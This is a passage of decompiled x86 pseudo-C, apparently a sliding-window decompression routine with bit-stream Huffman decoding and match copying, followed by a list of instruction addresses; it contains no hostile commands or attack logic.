																		__eflags = 0;
																	}
																	_t476 =  *(_t608 + 0x397c + _t475 * 2) & 0x0000ffff;
																	L138:
																	__eflags = _t476 - 8;
																	if(_t476 >= 8) {
																		_t631 = (_t476 >> 2) - 1;
																		_a4 = _t631;
																		_t481 = ((_t476 & 0x00000003 | 0x00000004) << _t631) + 2;
																		_v20 = _t481;
																		__eflags = _t631;
																		if(_t631 > 0) {
																			_t506 = E0040978C(_t808);
																			_t642 = 0x10;
																			_v20 = _v20 + (_t506 >> _t642 - _a4);
																			_t509 =  *(_t808 + 4) + _a4;
																			 *_t808 =  *_t808 + (_t509 >> 3);
																			_t510 = _t509 & 0x00000007;
																			__eflags = _t510;
																			 *(_t808 + 4) = _t510;
																			_t481 = _v20;
																		}
																	} else {
																		_t481 = _t476 + 2;
																		_v20 = _t481;
																	}
																	_t738 =  *(_t806 + 0x70) - _v24;
																	_t633 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																	 *(_t806 + 0x68) = _t481;
																	_a4 = _t481;
																	_v16 = _t738;
																	__eflags = _t738 - _t633;
																	if(_t738 >= _t633) {
																		L153:
																		__eflags = _t481;
																	} else {
																		__eflags =  *(_t806 + 0x70) - _t633;
																		if( *(_t806 + 0x70) >= _t633) {
																			goto L153;
																		}
																		_t636 =  *((intOrPtr*)(_t806 + 0x4b34));
																		_v12 = _t738 + _t636;
																		_t744 =  *(_t806 + 0x70);
																		_v8 = _t636 + _t744;
																		 *(_t806 + 0x70) = _t481 + _t744;
																		__eflags = _v24 - _t481;
																		if(_v24 >= _t481) {
																			__eflags = _t481 - 8;
																			if(_t481 < 8) {
																				L113:
																				__eflags = _a4;
																				if(_a4 <= 0) {
																					continue;
																					do {
																						do {
																							do {
																								do {
																									do {
																										do {
																											do {
																												do {
																													do {
																														do {
																															do {
																																do {
																																	do {
																																		do {
																																			while(1) {
																																				L8:
																																				_t614 =  *(_t806 + 0xe6dc);
																																				 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																																				_t461 =  *_t808;
																																				__eflags = _t461 - _v28;
																																				if(_t461 < _v28) {
																																					goto L15;
																																				}
																																				goto L9;
																																			}
																																			L82:
																																			__eflags = _a4;
																																		} while (_a4 <= 0);
																																		goto L83;
																																	} while (_a4 <= 0);
																																	goto L114;
																																	L83:
																																	__eflags = _a4 - 1;
																																	_t639 = _v12;
																																	 *_t639 =  *_v8;
																																} while (_a4 <= 1);
																																goto L84;
																															} while (_a4 <= 1);
																															goto L115;
																															L84:
																															__eflags = _a4 - 2;
																															_t227 = _v8 + 1; // 0x300905a
																															 *((char*)(_t639 + 1)) =  *_t227;
																														} while (_a4 <= 2);
																														goto L85;
																														L115:
																														__eflags = _a4 - 2;
																														 *((char*)(_t639 + 1)) =  *((intOrPtr*)(_v12 + 1));
																													} while (_a4 <= 2);
																													goto L116;
																													L85:
																													__eflags = _a4 - 3;
																													_t231 = _v8 + 2; // 0x30090
																													 *((char*)(_t639 + 2)) =  *_t231;
																												} while (_a4 <= 3);
																												goto L86;
																												L116:
																												__eflags = _a4 - 3;
																												 *((char*)(_t639 + 2)) =  *((intOrPtr*)(_v12 + 2));
																											} while (_a4 <= 3);
																											goto L117;
																											L86:
																											__eflags = _a4 - 4;
																											_t235 = _v8 + 3; // 0x300
																											 *((char*)(_t639 + 3)) =  *_t235;
																										} while (_a4 <= 4);
																										goto L87;
																										L117:
																										__eflags = _a4 - 4;
																										 *((char*)(_t639 + 3)) =  *((intOrPtr*)(_v12 + 3));
																									} while (_a4 <= 4);
																									goto L118;
																									L87:
																									__eflags = _a4 - 5;
																									_t239 = _v8 + 4; // 0x3
																									 *((char*)(_t639 + 4)) =  *_t239;
																								} while (_a4 <= 5);
																								goto L88;
																								L118:
																								__eflags = _a4 - 5;
																								 *((char*)(_t639 + 4)) =  *((intOrPtr*)(_v12 + 4));
																							} while (_a4 <= 5);
																							goto L119;
																							L88:
																							__eflags = _a4 - 6;
																							_t243 = _v8 + 5; // 0x4000000
																							 *((char*)(_t639 + 5)) =  *_t243;
																						} while (_a4 <= 6);
																						_t498 = _v8;
																						L90:
																						_t246 = _t498 + 6; // 0x40000
																						 *((char*)(_t639 + 6)) =  *_t246;
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							L91:
																							__eflags = _v16;
																						} while (_v16 <= 0);
																						_t779 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t674 & _t779) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t779 =  *(_t806 + 0xe6dc);
																							_t674 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t674;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t779;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							goto L153;
																						} while (_t481 <= 0);
																						_t634 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							_v16 = _v16 + 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_v16 & _t634) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t634 =  *(_t806 + 0xe6dc);
																							__eflags = _a4;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t634;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							do {
																								do {
																									while(1) {
																										L8:
																										_t614 =  *(_t806 + 0xe6dc);
																										 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																										_t461 =  *_t808;
																										__eflags = _t461 - _v28;
																										if(_t461 < _v28) {
																											goto L15;
																										}
																										goto L9;
																									}
																									goto L102;
																								} while (_t512 == 0);
																								_t652 =  *(_t806 + 0x70);
																								_a4 = _t512;
																								_t514 = _t652 -  *((intOrPtr*)(_t806 + 0x54));
																								_t758 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																								_v24 = _t514;
																								__eflags = _t514 - _t758;
																								if(_t514 >= _t758) {
																									goto L121;
																								}
																								__eflags = _t652 - _t758;
																								if(_t652 >= _t758) {
																									goto L121;
																								}
																								_t761 =  *((intOrPtr*)(_t806 + 0x4b34));
																								_v12 = _t514 + _t761;
																								_t519 = _a4;
																								_t762 = _t761 + _t652;
																								_v8 = _t762;
																								 *(_t806 + 0x70) = _t652 + _t519;
																								__eflags =  *((intOrPtr*)(_t806 + 0x54)) - _t519;
																								if( *((intOrPtr*)(_t806 + 0x54)) >= _t519) {
																									__eflags = _t519 - 8;
																									if(_t519 < 8) {
																										goto L113;
																									}
																									_t520 = _t519 >> 3;
																									__eflags = _t520;
																									_v24 = _t520;
																									do {
																										E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																										_v12 = _v12 + 8;
																										_v8 = _v8 + 8;
																										_a4 = _a4 - 8;
																										_t810 = _t810 + 0xc;
																										_t307 =  &_v24;
																										 *_t307 = _v24 - 1;
																										__eflags =  *_t307;
																									} while ( *_t307 != 0);
																									goto L113;
																								}
																								__eflags = _t519 - 8;
																								if(_t519 < 8) {
																									goto L113;
																								}
																								_t522 = _t519 >> 3;
																								__eflags = _t522;
																								_v24 = _t522;
																								_t523 = _v12;
																								_t658 = _t762;
																								do {
																									_a4 = _a4 - 8;
																									 *_t658 =  *_t523;
																									 *((char*)(_t658 + 1)) =  *((intOrPtr*)(_t523 + 1));
																									 *((char*)(_t658 + 2)) =  *((intOrPtr*)(_t523 + 2));
																									 *((char*)(_t658 + 3)) =  *((intOrPtr*)(_t523 + 3));
																									 *((char*)(_t658 + 4)) =  *((intOrPtr*)(_t523 + 4));
																									 *((char*)(_t658 + 5)) =  *((intOrPtr*)(_t523 + 5));
																									 *((char*)(_t658 + 6)) =  *((intOrPtr*)(_t523 + 6));
																									 *((char*)(_t658 + 7)) =  *((intOrPtr*)(_t523 + 7));
																									_t523 = _t523 + 8;
																									_t658 = _t658 + 8;
																									_t294 =  &_v24;
																									 *_t294 = _v24 - 1;
																									__eflags =  *_t294;
																								} while ( *_t294 != 0);
																								L109:
																								_v8 = _t640;
																								_v12 = _t505;
																								goto L113;
																								L97:
																								_t528 = E00415771(_t806,  &_v52);
																								__eflags = _t528;
																							} while (_t528 != 0);
																							goto L98;
																							L121:
																							__eflags = _a4;
																						} while (_a4 <= 0);
																						_t759 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t514 & _t759) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t759 =  *(_t806 + 0xe6dc);
																							_t514 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t514;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t759;
																						} while (_a4 > 0);
																						goto L8;
																						L119:
																						__eflags = _a4 - 6;
																						 *((char*)(_t639 + 5)) =  *((intOrPtr*)(_v12 + 5));
																					} while (_a4 <= 6);
																					_t498 = _v12;
																					goto L90;
																				}
																				L114:
																				__eflags = _a4 - 1;
																				_t639 = _v8;
																				 *_t639 =  *_v12;
																			}
																			_t501 = _v20 >> 3;
																			__eflags = _t501;
																			_v24 = _t501;
																			do {
																				E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																				_v12 = _v12 + 8;
																				_v8 = _v8 + 8;
																				_a4 = _a4 - 8;
																				_t810 = _t810 + 0xc;
																				_t441 =  &_v24;
																				 *_t441 = _v24 - 1;
																				__eflags =  *_t441;
																			} while ( *_t441 != 0);
																			goto L113;
																		}
																		__eflags = _t481 - 8;
																		if(_t481 < 8) {
																			goto L113;
																		}
																		_t640 = _v8;
																		_t504 = _v20 >> 3;
																		__eflags = _t504;
																		_v24 = _t504;
																		_t505 = _v12;
																		do {
																			_a4 = _a4 - 8;
																			 *_t640 =  *_t505;
																			 *((char*)(_t640 + 1)) =  *((intOrPtr*)(_t505 + 1));
																			 *((char*)(_t640 + 2)) =  *((intOrPtr*)(_t505 + 2));
																			 *((char*)(_t640 + 3)) =  *((intOrPtr*)(_t505 + 3));
																			 *((char*)(_t640 + 4)) =  *((intOrPtr*)(_t505 + 4));
																			 *((char*)(_t640 + 5)) =  *((intOrPtr*)(_t505 + 5));
																			 *((char*)(_t640 + 6)) =  *((intOrPtr*)(_t505 + 6));
																			 *((char*)(_t640 + 7)) =  *((intOrPtr*)(_t505 + 7));
																			_t505 = _t505 + 8;
																			_t640 = _t640 + 8;
																			_t429 =  &_v24;
																			 *_t429 = _v24 - 1;
																			__eflags =  *_t429;
																		} while ( *_t429 != 0);
																		goto L109;
																	}
																}
																_t646 = _t608 + 0x2cf8 + _t733 * 4;
																while(1) {
																	__eflags = _t472 -  *_t646;
																	if(_t472 <  *_t646) {
																		break;
																	}
																	_t733 = _t733 + 1;
																	_t646 = _t646 + 4;
																	__eflags = _t733 - 0xf;
																	if(_t733 < 0xf) {
																		continue;
																	}
																	goto L135;
																}
																_a4 = _t733;
																goto L135;
															}
															_t647 = 0x10;
															_t511 = _t472 >> _t647 - _t732;
															_t650 = ( *(_t511 + _t608 + 0x2d7c) & 0x000000ff) +  *(_t808 + 4);
															 *_t808 =  *_t808 + (_t650 >> 3);
															 *(_t808 + 4) = _t650 & 0x00000007;
															_t476 =  *(_t608 + 0x317c + _t511 * 2) & 0x0000ffff;
															goto L138;
														} else {
															goto L126;
														}
														do {
															L126:
															 *_t622 =  *((intOrPtr*)(_t622 - 4));
															_t469 = _t469 - 1;
															_t622 = _t622 - 4;
															__eflags = _t469;
														} while (_t469 > 0);
														goto L127;
													}
													L102:
													_t512 =  *(_t806 + 0x68);
													__eflags = _t512;
												}
												_push( &_v52);
												_t525 = E00414290(_t806, _t808);
												__eflags = _t525;
												if(_t525 == 0) {
													goto L98;
												}
												goto L97;
											}
											_t529 = _t468 + 0xfffffefa;
											__eflags = _t529 - 8;
											if(_t529 >= 8) {
												_t663 = (_t529 >> 2) - 1;
												_a4 = _t663;
												_v12 = ((_t529 & 0x00000003 | 0x00000004) << _t663) + 2;
												__eflags = _t663;
												if(_t663 > 0) {
													_t594 = E0040978C(_t808);
													_t711 = 0x10;
													_v12 = _v12 + (_t594 >> _t711 - _a4);
													_t597 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t597 >> 3);
													_t598 = _t597 & 0x00000007;
													__eflags = _t598;
													 *(_t808 + 4) = _t598;
												}
											} else {
												_v12 = _t529 + 2;
											}
											_v16 = _v12;
											_t536 = E0040978C(_t808);
											_t771 =  *(_t608 + 0xfa0);
											_t537 = _t536 & 0x0000fffe;
											__eflags = _t537 -  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4));
											if(_t537 >=  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4))) {
												_t772 = _t771 + 1;
												_a4 = 0xf;
												__eflags = _t772 - 0xf;
												if(_t772 >= 0xf) {
													L46:
													_t666 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t666 >> 3);
													_t775 = _a4;
													 *(_t808 + 4) = _t666 & 0x00000007;
													_t668 = 0x10;
													_t540 = (_t537 -  *((intOrPtr*)(_t608 + 0xf1c + _a4 * 4)) >> _t668 - _a4) +  *((intOrPtr*)(_t608 + 0xf60 + _t775 * 4));
													__eflags = _t540 -  *((intOrPtr*)(_t608 + 0xf1c));
													if(_t540 >=  *((intOrPtr*)(_t608 + 0xf1c))) {
														_t540 = 0;
														__eflags = 0;
													}
													_t541 =  *(_t608 + 0x1ba4 + _t540 * 2) & 0x0000ffff;
													goto L49;
												}
												_t704 = _t608 + 0xf20 + _t772 * 4;
												while(1) {
													__eflags = _t537 -  *_t704;
													if(_t537 <  *_t704) {
														break;
													}
													_t772 = _t772 + 1;
													_t704 = _t704 + 4;
													__eflags = _t772 - 0xf;
													if(_t772 < 0xf) {
														continue;
													}
													goto L46;
												}
												_a4 = _t772;
												goto L46;
											} else {
												_t705 = 0x10;
												_t593 = _t537 >> _t705 - _t771;
												_t708 = ( *(_t593 + _t608 + 0xfa4) & 0x000000ff) +  *(_t808 + 4);
												 *_t808 =  *_t808 + (_t708 >> 3);
												 *(_t808 + 4) = _t708 & 0x00000007;
												_t541 =  *(_t608 + 0x13a4 + _t593 * 2) & 0x0000ffff;
												L49:
												__eflags = _t541 - 4;
												if(_t541 >= 4) {
													_t672 = (_t541 >> 1) - 1;
													_a4 = _t672;
													_v20 = ((_t541 & 0x00000001 | 0x00000002) << _t672) + 1;
													__eflags = _t672;
													if(_t672 <= 0) {
														L68:
														_t776 = _v20;
														__eflags = _t776 - 0x100;
														if(_t776 > 0x100) {
															_v16 = _v12 + 1;
															__eflags = _t776 - 0x2000;
															if(_t776 > 0x2000) {
																_v16 = _v16 + 1;
																__eflags = _t776 - 0x40000;
																if(_t776 > 0x40000) {
																	_t166 =  &_v16;
																	 *_t166 = _v16 + 1;
																	__eflags =  *_t166;
																}
															}
														}
														 *((intOrPtr*)(_t806 + 0x60)) =  *((intOrPtr*)(_t806 + 0x5c));
														 *((intOrPtr*)(_t806 + 0x5c)) =  *((intOrPtr*)(_t806 + 0x58));
														 *((intOrPtr*)(_t806 + 0x58)) =  *((intOrPtr*)(_t806 + 0x54));
														_t549 = _v16;
														 *(_t806 + 0x68) = _t549;
														_a4 = _t549;
														_t550 =  *(_t806 + 0x70);
														_t674 = _t550 - _t776;
														 *((intOrPtr*)(_t806 + 0x54)) = _t776;
														_t778 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
														_v24 = _t674;
														__eflags = _t674 - _t778;
														if(_t674 >= _t778) {
															goto L91;
														} else {
															__eflags = _t550 - _t778;
															if(_t550 >= _t778) {
																goto L91;
															}
															_t781 =  *((intOrPtr*)(_t806 + 0x4b34));
															_v8 = _t674 + _t781;
															_t679 = _v16;
															_t782 = _t781 + _t550;
															_v12 = _t782;
															 *(_t806 + 0x70) = _t550 + _t679;
															__eflags = _v20 - _t679;
															if(_v20 >= _t679) {
																__eflags = _t679 - 8;
																if(_t679 < 8) {
																	goto L82;
																}
																_t569 = _v16 >> 3;
																__eflags = _t569;
																_v24 = _t569;
																do {
																	E0041C290(_t608, _t806, _t808, _v12, _v8, 8);
																	_v8 = _v8 + 8;
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t810 = _t810 + 0xc;
																	_t219 =  &_v24;
																	 *_t219 = _v24 - 1;
																	__eflags =  *_t219;
																} while ( *_t219 != 0);
																goto L82;
															}
															__eflags = _t679 - 8;
															if(_t679 < 8) {
																goto L82;
															}
															_t572 = _t679 >> 3;
															__eflags = _t572;
															_v24 = _t572;
															_t573 = _v8;
															_t680 = _t782;
															do {
																_a4 = _a4 - 8;
																 *_t680 =  *_t573;
																_t191 = _t573 + 1; // 0x300905a
																 *((char*)(_t680 + 1)) =  *_t191;
																_t193 = _t573 + 2; // 0x30090
																 *((char*)(_t680 + 2)) =  *_t193;
																_t195 = _t573 + 3; // 0x300
																 *((char*)(_t680 + 3)) =  *_t195;
																_t197 = _t573 + 4; // 0x3
																 *((char*)(_t680 + 4)) =  *_t197;
																_t199 = _t573 + 5; // 0x4000000
																 *((char*)(_t680 + 5)) =  *_t199;
																_t201 = _t573 + 6; // 0x40000
																 *((char*)(_t680 + 6)) =  *_t201;
																_t203 = _t573 + 7; // 0x400
																 *((char*)(_t680 + 7)) =  *_t203;
																_t573 = _t573 + 8;
																_t680 = _t680 + 8;
																_t205 =  &_v24;
																 *_t205 = _v24 - 1;
																__eflags =  *_t205;
															} while ( *_t205 != 0);
															_v12 = _t680;
															_v8 = _t573;
															goto L82;
														}
													}
													__eflags = _t672 - 4;
													if(__eflags < 0) {
														_t576 = E00412AEB(_t808);
														_t682 = 0x20;
														_v20 = _v20 + (_t576 >> _t682 - _a4);
														_t579 =  *(_t808 + 4) + _a4;
														 *_t808 =  *_t808 + (_t579 >> 3);
														_t580 = _t579 & 0x00000007;
														__eflags = _t580;
														 *(_t808 + 4) = _t580;
														goto L68;
													}
													if(__eflags > 0) {
														_t588 = E00412AEB(_t808);
														_t589 = _a4;
														_t699 = 0x24;
														_t590 = _t589 +  *(_t808 + 4) - 4;
														_v20 = _v20 + (_t588 >> _t699 - _t589 << 4);
														 *_t808 =  *_t808 + (_t590 >> 3);
														_t591 = _t590 & 0x00000007;
														__eflags = _t591;
														 *(_t808 + 4) = _t591;
													}
													_t581 = E0040978C(_t808);
													_t791 =  *(_t608 + 0x1e8c);
													_t582 = _t581 & 0x0000fffe;
													__eflags = _t582 -  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4));
													if(_t582 >=  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4))) {
														_t792 = _t791 + 1;
														_a4 = 0xf;
														__eflags = _t792 - 0xf;
														if(_t792 >= 0xf) {
															L63:
															_t688 =  *(_t808 + 4) + _a4;
															 *_t808 =  *_t808 + (_t688 >> 3);
															_t795 = _a4;
															 *(_t808 + 4) = _t688 & 0x00000007;
															_t690 = 0x10;
															_t585 = (_t582 -  *((intOrPtr*)(_t608 + 0x1e08 + _a4 * 4)) >> _t690 - _a4) +  *((intOrPtr*)(_t608 + 0x1e4c + _t795 * 4));
															__eflags = _t585 -  *((intOrPtr*)(_t608 + 0x1e08));
															if(_t585 >=  *((intOrPtr*)(_t608 + 0x1e08))) {
																_t585 = 0;
																__eflags = 0;
															}
															_t586 =  *(_t608 + 0x2a90 + _t585 * 2) & 0x0000ffff;
															goto L66;
														}
														_t692 = _t608 + 0x1e0c + _t792 * 4;
														while(1) {
															__eflags = _t582 -  *_t692;
															if(_t582 <  *_t692) {
																break;
															}
															_t792 = _t792 + 1;
															_t692 = _t692 + 4;
															__eflags = _t792 - 0xf;
															if(_t792 < 0xf) {
																continue;
															}
															goto L63;
														}
														_a4 = _t792;
														goto L63;
													} else {
														_t693 = 0x10;
														_t587 = _t582 >> _t693 - _t791;
														_t696 = ( *(_t587 + _t608 + 0x1e90) & 0x000000ff) +  *(_t808 + 4);
														 *_t808 =  *_t808 + (_t696 >> 3);
														 *(_t808 + 4) = _t696 & 0x00000007;
														_t586 =  *(_t608 + 0x2290 + _t587 * 2) & 0x0000ffff;
														L66:
														_v20 = _v20 + _t586;
														goto L68;
													}
												}
												_v20 = _t541 + 1;
												goto L68;
											}
										}
										 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) = _t468;
										 *(_t806 + 0x70) =  *(_t806 + 0x70) + 1;
										continue;
									}
									_t716 = _t608 + 0x34 + _t727 * 4;
									while(1) {
										__eflags = _t464 -  *_t716;
										if(_t464 <  *_t716) {
											break;
										}
										_t727 = _t727 + 1;
										_t716 = _t716 + 4;
										__eflags = _t727 - 0xf;
										if(_t727 < 0xf) {
											continue;
										}
										goto L28;
									}
									_a4 = _t727;
									goto L28;
								}
								_t717 = 0x10;
								_t600 = _t464 >> _t717 - _t726;
								_t720 = ( *(_t600 + _t608 + 0xb8) & 0x000000ff) +  *(_t808 + 4);
								 *_t808 =  *_t808 + (_t720 >> 3);
								 *(_t808 + 4) = _t720 & 0x00000007;
								_t468 =  *(_t608 + 0x4b8 + _t600 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4b30)) - _t462;
							if( *((intOrPtr*)(_t806 + 0x4b30)) == _t462) {
								goto L20;
							}
							E00415346(_t806);
							__eflags =  *((intOrPtr*)(_t806 + 0x4c54)) -  *((intOrPtr*)(_t806 + 0x4c44));
							if(__eflags > 0) {
								goto L5;
							}
							if(__eflags < 0) {
								goto L20;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4c50)) -  *((intOrPtr*)(_t806 + 0x4c40));
							if( *((intOrPtr*)(_t806 + 0x4c50)) >  *((intOrPtr*)(_t806 + 0x4c40))) {
								goto L5;
							}
							goto L20;
						}
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						L5:
						_t526 = 0;
						L99:
						return _t526;
					}
				} else {
					 *((char*)(_t608 + 0x2c)) = 1;
					_t607 = E0041462B(_t608, __ecx, _t608 + 4, _t608 + 0x18, _t608 + 0x30);
					if(_t607 != 0) {
						goto L3;
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						return _t607;
					}
				}
			}

0x00415da1
0x00415da9
0x00415dab
0x00415dd2
0x00415dd2
0x00415dd9
0x00415dde
0x00415de0
0x00415df3
0x00415dfd
0x00415e00
0x00415e02
0x00415e05
0x00415e08
0x00415e0b
0x00415e0d
0x00415e0d
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00415e20
0x00415e20
0x00415e23
0x0041639a
0x0041639a
0x00000000
0x0041639a
0x00415e29
0x00415e37
0x00415e37
0x00415e3a
0x00415e49
0x00415e49
0x00415e4f
0x00416784
0x00416784
0x00000000
0x00416784
0x00000000
0x00415e4f
0x00415e3c
0x00415e43
0x00000000
0x00000000
0x00000000
0x00415e43
0x00415e2e
0x00415e31
0x00000000
0x00000000
0x00000000
0x00415e55
0x00415e5b
0x00415e62
0x00415e68
0x00415e9f
0x00415ea1
0x00415ea6
0x00415eac
0x00415eb1
0x00415eb5
0x00415ee0
0x00415ee1
0x00415ee8
0x00415eeb
0x00415f03
0x00415f06
0x00415f10
0x00415f12
0x00415f18
0x00415f1f
0x00415f24
0x00415f28
0x00415f2b
0x00415f2d
0x00415f2d
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3e
0x00415f54
0x00415f59
0x00416373
0x00416375
0x004163a3
0x004163a8
0x0041654d
0x0041654d
0x00416552
0x00416558
0x0041655b
0x0041656a
0x0041656f
0x00416572
0x00416577
0x0041657d
0x00416582
0x00416589
0x004165b4
0x004165b5
0x004165bc
0x004165bf
0x004165da
0x004165dd
0x004165e7
0x004165e9
0x004165ef
0x004165f9
0x004165fe
0x00416605
0x0041660b
0x0041660d
0x0041660d
0x0041660d
0x0041660f
0x00416617
0x00416617
0x0041661a
0x0041662c
0x00416632
0x00416636
0x00416637
0x0041663a
0x0041663c
0x00416640
0x00416647
0x0041664d
0x00416653
0x0041665b
0x0041665d
0x0041665d
0x00416660
0x00416663
0x00416663
0x0041661c
0x0041661c
0x0041661f
0x0041661f
0x00416669
0x00416672
0x00416678
0x0041667b
0x0041667e
0x00416681
0x00416683
0x00416742
0x00416742
0x00416689
0x00416689
0x0041668c
0x00000000
0x00000000
0x00416692
0x0041669a
0x0041669d
0x004166a2
0x004166a8
0x004166ab
0x004166ae
0x0041670a
0x0041670d
0x00416483
0x00416483
0x00416487
0x00000000
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x004162a3
0x004162a3
0x004162a3
0x00000000
0x00415e10
0x00000000
0x004162ad
0x004162ad
0x004162b6
0x004162b9
0x004162b9
0x00000000
0x00415e10
0x00000000
0x004162c1
0x004162c1
0x004162c8
0x004162cb
0x004162cb
0x00000000
0x004164a1
0x004164a1
0x004164ab
0x004164ab
0x00000000
0x004162d4
0x004162d4
0x004162db
0x004162de
0x004162de
0x00000000
0x004164b4
0x004164b4
0x004164be
0x004164be
0x00000000
0x004162e7
0x004162e7
0x004162ee
0x004162f1
0x004162f1
0x00000000
0x004164c7
0x004164c7
0x004164d1
0x004164d1
0x00000000
0x004162fa
0x004162fa
0x00416301
0x00416304
0x00416304
0x00000000
0x004164da
0x004164da
0x004164e4
0x004164e4
0x00000000
0x0041630d
0x0041630d
0x00416314
0x00416317
0x00416317
0x00416320
0x00416323
0x00416323
0x00416326
0x00416329
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x0041632e
0x0041632e
0x0041632e
0x00416338
0x0041633e
0x00416344
0x0041634f
0x00416358
0x0041635e
0x00416362
0x00416366
0x00416369
0x00416369
0x0041636e
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x0041674a
0x00416750
0x00416759
0x00416764
0x00416767
0x0041676d
0x00416776
0x0041677a
0x0041677a
0x0041677f
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x004163b9
0x004163bf
0x004163c4
0x004163cc
0x004163d2
0x004163d5
0x004163d7
0x00000000
0x00000000
0x004163dd
0x004163df
0x00000000
0x00000000
0x004163e5
0x004163ed
0x004163f0
0x004163f3
0x004163f7
0x004163fa
0x004163fd
0x00416400
0x00416457
0x0041645a
0x00000000
0x00000000
0x0041645c
0x0041645c
0x0041645f
0x00416462
0x0041646a
0x0041646f
0x00416473
0x00416477
0x0041647b
0x0041647e
0x0041647e
0x0041647e
0x0041647e
0x00000000
0x00416462
0x00416402
0x00416405
0x00000000
0x00000000
0x00416407
0x00416407
0x0041640a
0x0041640d
0x00416410
0x00416412
0x00416414
0x00416418
0x0041641d
0x00416423
0x00416429
0x0041642f
0x00416435
0x0041643b
0x00416441
0x00416444
0x00416447
0x0041644a
0x0041644a
0x0041644a
0x0041644a
0x0041644f
0x0041644f
0x00416452
0x00000000
0x00416387
0x0041638d
0x00416392
0x00416392
0x00000000
0x00416508
0x00416508
0x00416508
0x00416512
0x00416518
0x0041651e
0x00416529
0x00416532
0x00416538
0x0041653c
0x00416540
0x00416543
0x00416543
0x00000000
0x004164ed
0x004164ed
0x004164f7
0x004164f7
0x00416500
0x00000000
0x00416500
0x0041648d
0x0041648d
0x00416496
0x00416499
0x00416499
0x00416716
0x00416716
0x00416719
0x0041671c
0x00416724
0x00416729
0x0041672d
0x00416731
0x00416735
0x00416738
0x00416738
0x00416738
0x00416738
0x00000000
0x0041673d
0x004166b0
0x004166b3
0x00000000
0x00000000
0x004166bc
0x004166bf
0x004166bf
0x004166c2
0x004166c5
0x004166c8
0x004166ca
0x004166ce
0x004166d3
0x004166d9
0x004166df
0x004166e5
0x004166eb
0x004166f1
0x004166f7
0x004166fa
0x004166fd
0x00416700
0x00416700
0x00416700
0x00416700
0x00000000
0x00416705
0x00416683
0x004165c1
0x004165c8
0x004165c8
0x004165ca
0x00000000
0x00000000
0x004165cc
0x004165cd
0x004165d0
0x004165d3
0x00000000
0x00000000
0x00000000
0x004165d5
0x004165d7
0x00000000
0x004165d7
0x0041658d
0x00416590
0x0041659a
0x004165a2
0x004165a7
0x004165aa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041655d
0x0041655d
0x00416560
0x00416562
0x00416563
0x00416566
0x00416566
0x00000000
0x0041655d
0x004163ae
0x004163ae
0x004163b1
0x004163b1
0x0041637a
0x0041637e
0x00416383
